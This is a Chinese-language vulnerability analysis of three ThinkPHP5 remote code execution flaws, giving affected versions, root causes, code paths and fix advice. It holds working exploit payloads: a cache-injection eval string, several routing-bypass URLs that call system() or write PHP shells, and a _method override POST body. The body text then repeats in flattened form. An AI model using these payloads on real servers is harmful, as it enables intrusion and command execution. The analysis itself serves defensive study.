Thinkphp5代码执行学习
字数 1283 2025-08-25 22:58:46

ThinkPHP5 代码执行漏洞全面分析

漏洞概述

ThinkPHP5 框架存在多个代码执行漏洞,主要涉及缓存类RCE、未开启强制路由导致的RCE以及method任意调用方法导致的RCE。这些漏洞影响多个版本,攻击者可利用这些漏洞在目标系统上执行任意代码。

一、缓存类RCE漏洞

影响版本

  • 5.0.0 <= ThinkPHP5 <= 5.0.10

漏洞原理

  1. 缓存文件写入时未对内容进行有效过滤
  2. 攻击者可通过注入换行符绕过注释限制
  3. 恶意代码被直接写入缓存文件

关键代码分析

  1. thinkphp/library/think/Cache.php:126 - set方法
  2. thinkphp/library/think/cache/driver/File.php:137 - File类的set方法
  3. 文件名生成逻辑:
    • 获取键名的md5值
    • 前2个字符作为缓存子目录
    • 后30字符作为缓存文件名

利用方式

?username=syst1m%0d%0a@eval($_GET[_]);//

二、未开启强制路由导致的RCE

影响版本

  • 5.0.7 <= ThinkPHP <= 5.0.22

漏洞原理

  1. 默认未开启强制路由且开启路由兼容模式
  2. 用户参数未经充分过滤直接传递给call_user_func
  3. 通过特殊构造的URL可调用任意类方法

利用Payload

5.1.x版本:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x版本:

?s=index/think\config/get&name=database.username  # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg  # 包含任意文件
?s=index/\think\Config/load&file=../../t.php  # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞分析流程

  1. 请求处理流程:

    • thinkphp/library/think/route/dispatch/Module.php:70
    • thinkphp/library/think/App.php的run方法
    • thinkphp/library/think/route/dispatch/Url.php:23
  2. 关键调用链:

    • Request::input()
    • $this->filterValue()
    • call_user_func()实现RCE

三、method任意调用方法导致的RCE

影响版本

  • 5.0.0 <= ThinkPHP5 <= 5.0.23

漏洞原理

  1. $method来自可控的$_POST数组且未经检查
  2. 可调用Request类的任意方法
  3. 通过覆盖Request类属性实现代码执行

关键代码点

  1. thinkphp/library/think/Request.php:524 - method变量处理
  2. var_method值为_method
  3. Request类的__construct方法可覆盖类属性

利用条件

  1. 开启debug模式会调用$request->param()方法
  2. 或当$dispatch['type']等于method/controller时

利用方式

POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al

漏洞修复建议

  1. 及时升级到最新安全版本
  2. 开启强制路由功能
  3. 关闭路由兼容模式
  4. 生产环境关闭debug模式
  5. 对用户输入进行严格过滤

总结

ThinkPHP5框架的多个版本存在严重的代码执行漏洞,攻击者可通过多种方式利用这些漏洞在目标系统上执行任意命令。这些漏洞的核心问题在于对用户输入的控制不严格,以及框架默认配置存在安全隐患。开发人员应及时采取修复措施,避免系统遭受攻击。

ThinkPHP5 代码执行漏洞全面分析 漏洞概述 ThinkPHP5 框架存在多个代码执行漏洞,主要涉及缓存类RCE、未开启强制路由导致的RCE以及method任意调用方法导致的RCE。这些漏洞影响多个版本,攻击者可利用这些漏洞在目标系统上执行任意代码。 一、缓存类RCE漏洞 影响版本 5.0.0 <= ThinkPHP5 <= 5.0.10 漏洞原理 缓存文件写入时未对内容进行有效过滤 攻击者可通过注入换行符绕过注释限制 恶意代码被直接写入缓存文件 关键代码分析 thinkphp/library/think/Cache.php:126 - set方法 thinkphp/library/think/cache/driver/File.php:137 - File类的set方法 文件名生成逻辑: 获取键名的md5值 前2个字符作为缓存子目录 后30字符作为缓存文件名 利用方式 二、未开启强制路由导致的RCE 影响版本 5.0.7 <= ThinkPHP <= 5.0.22 漏洞原理 默认未开启强制路由且开启路由兼容模式 用户参数未经充分过滤直接传递给call_ user_ func 通过特殊构造的URL可调用任意类方法 利用Payload 5.1.x版本: 5.0.x版本: 漏洞分析流程 请求处理流程: thinkphp/library/think/route/dispatch/Module.php:70 thinkphp/library/think/App.php 的run方法 thinkphp/library/think/route/dispatch/Url.php:23 关键调用链: Request::input() $this->filterValue() call_user_func() 实现RCE 三、method任意调用方法导致的RCE 影响版本 5.0.0 <= ThinkPHP5 <= 5.0.23 漏洞原理 $method 来自可控的 $_POST 数组且未经检查 可调用Request类的任意方法 通过覆盖Request类属性实现代码执行 关键代码点 thinkphp/library/think/Request.php:524 - method变量处理 var_method 值为 _method Request类的 __construct 方法可覆盖类属性 利用条件 开启debug模式会调用 $request->param() 方法 或当 $dispatch['type'] 等于method/controller时 利用方式 漏洞修复建议 及时升级到最新安全版本 开启强制路由功能 关闭路由兼容模式 生产环境关闭debug模式 对用户输入进行严格过滤 总结 ThinkPHP5框架的多个版本存在严重的代码执行漏洞,攻击者可通过多种方式利用这些漏洞在目标系统上执行任意命令。这些漏洞的核心问题在于对用户输入的控制不严格,以及框架默认配置存在安全隐患。开发人员应及时采取修复措施,避免系统遭受攻击。